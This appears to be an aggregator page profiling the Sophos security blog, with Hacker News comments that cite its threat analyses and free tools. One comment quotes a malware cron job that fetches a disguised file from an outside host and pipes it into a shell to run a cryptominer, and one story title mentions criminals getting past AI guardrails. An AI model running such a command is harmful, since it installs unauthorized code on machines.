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SOPHOS
Company blog · sophos.com/en-us/blogsecurity
SOPHOS is the company blog at sophos.com, writing about security. Since 2008, 54 different Hacker News readers have linked it 60 times. It is still writing: the last post was on 2026-10-30, and you can follow it by feed.
Rarely recommended · 0 of 33 sampled comments recommend it?
Why HN links it
HN readers link Sophos pages as sources for malware and threat analyses, security reports and news, and as pointers to its free tools. The comments mostly cite these pages or discuss the products rather than the writing.
Summarised by Claude from a sample of 33 HN comments that link here. Each comment is marked recommending, critical or neutral (citing without judging); how this works.
Sophos Fusion is the industry’s most complete cyber defense system. It sees everything, connects everything, and enables your defenses to respond as one.
Most-linked posts?
- /en-us/threat-center/threat-analyses/viruses-and-spyware/Mal~HTMLGen-A.aspx3 people · 3 mentions · first linked 2013-04-01
- /en-us/products/free-tools/sophos-antivirus-for-mac-home-edition.aspx2 people · 3 mentions · first linked 2011-06-01
- /en-us/medialibrary/Gated-Assets/white-papers/sophos-the-state-of-ransomware-2020-wp.pdf2 people · 2 mentions · first linked 2020-10-01
What Hacker News says?
I don't really need to prove it since you're claiming that 500 million "potential" installs somehow equates to "half a billion infected iOS users". They got the 500 million number from the number of users of WeChat in China. Unless every single WeChat user in China and every user of those apps downloaded that update (which was pulled in less than 48 hours), that 500 million is a maximum number. Additionally, because…
Comment linking /en-us/medialibrary/PDFs/technical-papers/sophoslabs-2017-malware-forecast-report.pdf?la=en
on “iPhones are hard to use”Submitted Twitter 'onmouseover' security flaw widely exploited as a story · 189 points
HN discussionI remember Astaro did this with their Astaro Security Gateway UTM solution. Provide a full featured software appliance for home users and hope the admins are so caught up that they don't want to change to another vendor at work. Astaro got acquired by Sophos in 2011 but I just checked, they still offer the Sophos UTM Gateway in a Home edition. https://www.sophos.com/en-us/free-tools/sophos-xg-firewall-h...
Comment linking /en-us/free-tools/sophos-xg-firewall-home-edition
on “Tailscale raises $100M”Submitted Vulnerability outed by Google engineer already being exploited. as a story · 26 points
HN discussionEvery time I say this I feel like a shill because I worked for them briefly, but Sophos has a Home version of their UTM firewall (0). It has pros and cons, but overall I think it's pretty good (even after working there). Some other options include Sonicwall and pfsense, and I encourage others to post their suggestions as well. I haven't used SonicWall, though I have used pfsense strictly as a firewall. (0) http://ww…
Comment linking /en-us/products/free-tools/sophos-utm-home-edition.aspx
on “I’m Terrified of My New TV”Submitted Linux Trojan rears its ugly head as a story · 17 points
HN discussionThere was a startup that addressed this issue of personal devices potentially leaking personal or business sensitive information. The idea was the device is protected all the time, not just while on the office network. They were Mojave Networks but looks like their website is no more. Acquired by Sophos... I guess their called Cloud Web Gateway now. See links. https://www.crunchbase.com/organization/mojave-networks…
Comment linking /en-us/products/cloud-web-gateway.aspx
on “Introducing Netflix Stethoscope”Submitted Ken-Thompson-esque Delphi compiler trojan found in the wild as a story · 10 points
HN discussionWork in Pittsburgh, Pa! Sophos is looking for experienced Linux Kernel Developers to join our Network Security Group in Cranberry Township. You will be developing industry leading Firewall, SG UTM, Secure Wi-Fi, and Secure Web Gateway products for the small companies that cannot afford a huge IT staff to keep them secure 24/7 Main Duties Develop, enhance and maintain Linux network drivers. This may include drivers t…
Comment linking /en-us/about-us/careers/united-states/linux-kernel-developer.aspx
on “Ask HN: Who is hiring? (June 2018)”Submitted Earn 43 cents every time you infect a Mac as a story · 9 points
HN discussionAlso Sophos http://www.sophos.com/en-us/products/free-tools/virus-remova...
Comment linking /en-us/products/free-tools/virus-removal-tool.aspx
on “Downloading Software Safely Is Nearly Impossible”Submitted Apple secretly updates Mac malware protection as a story · 6 points
HN discussion> The Fifth Amendment protects against self-incrimination. You can still be held in custody for obstruction of justice: https://www.findlaw.com/legalblogs/third-circuit/man-held-in... It took four years before he could secure his release: https://www.sophos.com/en-us/blog/suspect-who-refused-to-dec...
Comment linking /en-us/blog/suspect-who-refused-to-decrypt-hard-drives-released-after-four-years
on “Cops Can Bypass iPhone's Automatic Reboot to Get into Locked Phones”Submitted We let OpenClaw loose on an internal network. Here's what it found as a story · 5 points
HN discussion1) No local Admin rights. 2) Chrome + uBlock Origin w/ Malware filters. 3) Sophos Home[1] which has the bonus feature of being cloud-managed and not providing any control to the local interactive user. 4) Sophos XG Firewall Home Edition[2] on whatever $100-ish hardware the pFense crowd is currently in love with. Web filtering for Advertising and Threats, AV scanning. 5) Backups! [1] https://www.sophos.com/lp/sophos-…
Comment linking /en-us/products/free-tools/sophos-xg-firewall-home-edition.aspx
on “Ask HN: How do I protect my parents from the internet?”Submitted Gawker blog network suffers denial-of-service attack as a story · 4 points
HN discussionAmusing botched attempt at identity protection in the second image: http://www.sophos.com/images/blogs/gc/2010/09/onmouseover-po... (hint: see URL or titlebar)
Comment linking /images/blogs/gc/2010/09/onmouseover-popup.jpg
on “Twitter 'onmouseover' security flaw widely exploited”Submitted Machine Learning at Sophos [pdf] as a story · 3 points
HN discussionLink to Sophos release: https://www.sophos.com/en-us/press-office/press-releases/201... (I was getting connection timeout errors on the linked article from the post)
Comment linking /en-us/press-office/press-releases/2019/10/thoma-bravo-makes-offer-to-acquire-sophos.aspx
on “Sophos acquired for $3.9B”Submitted Sophos Auto-updater detected as virus by Sophos itself as a story · 3 points
HN discussionIf you have a desktop device, you should check whether there is a browser hijacker or a different form of malware, that would not be surprising. On Windows you can use one of the following On Demand Scanners. They are all free and don't change anything about your system configuratiom (portable) - HitmanPro https://www.sophos.com/en-us/products/free-tools/hitmanpro - Kaspersky VRT https://www.kaspersky.de/downloads/t…
Comment linking /en-us/products/free-tools/hitmanpro
on “Ask HN: How can a non-techie mom regain access to her FB account?”Submitted Free Mac Anti-Virus as a story · 3 points
HN discussionSophos blocks access to this website: > Access has been blocked as the threat Mal/HTMLGen-A has been found on this website. Where the name links to: http://www.sophos.com/en-us/threat-center/threat-analyses/vi... Any mirrors or something?
Comment linking /en-us/threat-center/threat-analyses/viruses-and-spyware/Mal~HTMLGen-A.aspx
on “Your iPhone and iPad Are Limited. T-Mobile is the Exception”Submitted WHOIS database hacked as a story · 3 points
HN discussionMy firewall reports suspicious activity on this site. It reports the 'virus' Sus/FBJack-A. Still trying to find out exactly what that is... Edit: http://www.sophos.com/en-us/threat-center/threat-analyses/su...
Comment linking /en-us/threat-center/threat-analyses/suspicious-behavior-and-files/Sus~FBJack-A.aspx
on “How PGP Works Under the Hood”Submitted A virus that infects Delphi files… at compile-time as a story · 3 points
HN discussionThat's a fair point, but you gotta start somewhere (if you have an interest and an inkling that is) or just give in and let them take what they want. I started by configuring it to block everything by default and white listing the traffic I wanted to allow. Most systems will log dropped or anomalous traffic so its very easy to work out what traffic needs to be allowed when some new game's multiplayer features don't…
Comment linking /en-us/products/unified-threat-management/demo.aspx
on “Microsoft Admits Windows 10 Automatic Spying Cannot Be Stopped”Submitted 10 steps to better secure your Mac laptop from physical data theft as a story · 3 points
HN discussionWhat a coincidence! Just today at work we've found malware on some of our servers. That malware added this cron job: /60 * * * curl http://img1.imagehousing.com/0/art-825604.jpg -k|dd skip=2316 bs=1|sh If you execute that command (without | sh part) and save output into .sh script, you'll see that it is running a miner (consuming lots of CPU) for this Monero pool: xmr.crypto-pool.fr:3333 See: https://www.sophos.com/…
Comment linking /en-us/medialibrary/PDFs/technical-papers/Cryptomining-malware-on-NAS-servers.pdf?la=en
on “80% of Monero Transactions Trivially De-Anonymized”Submitted Ransomware gang bypassed AI guardrails by posing as red-team testers as a story · 2 points
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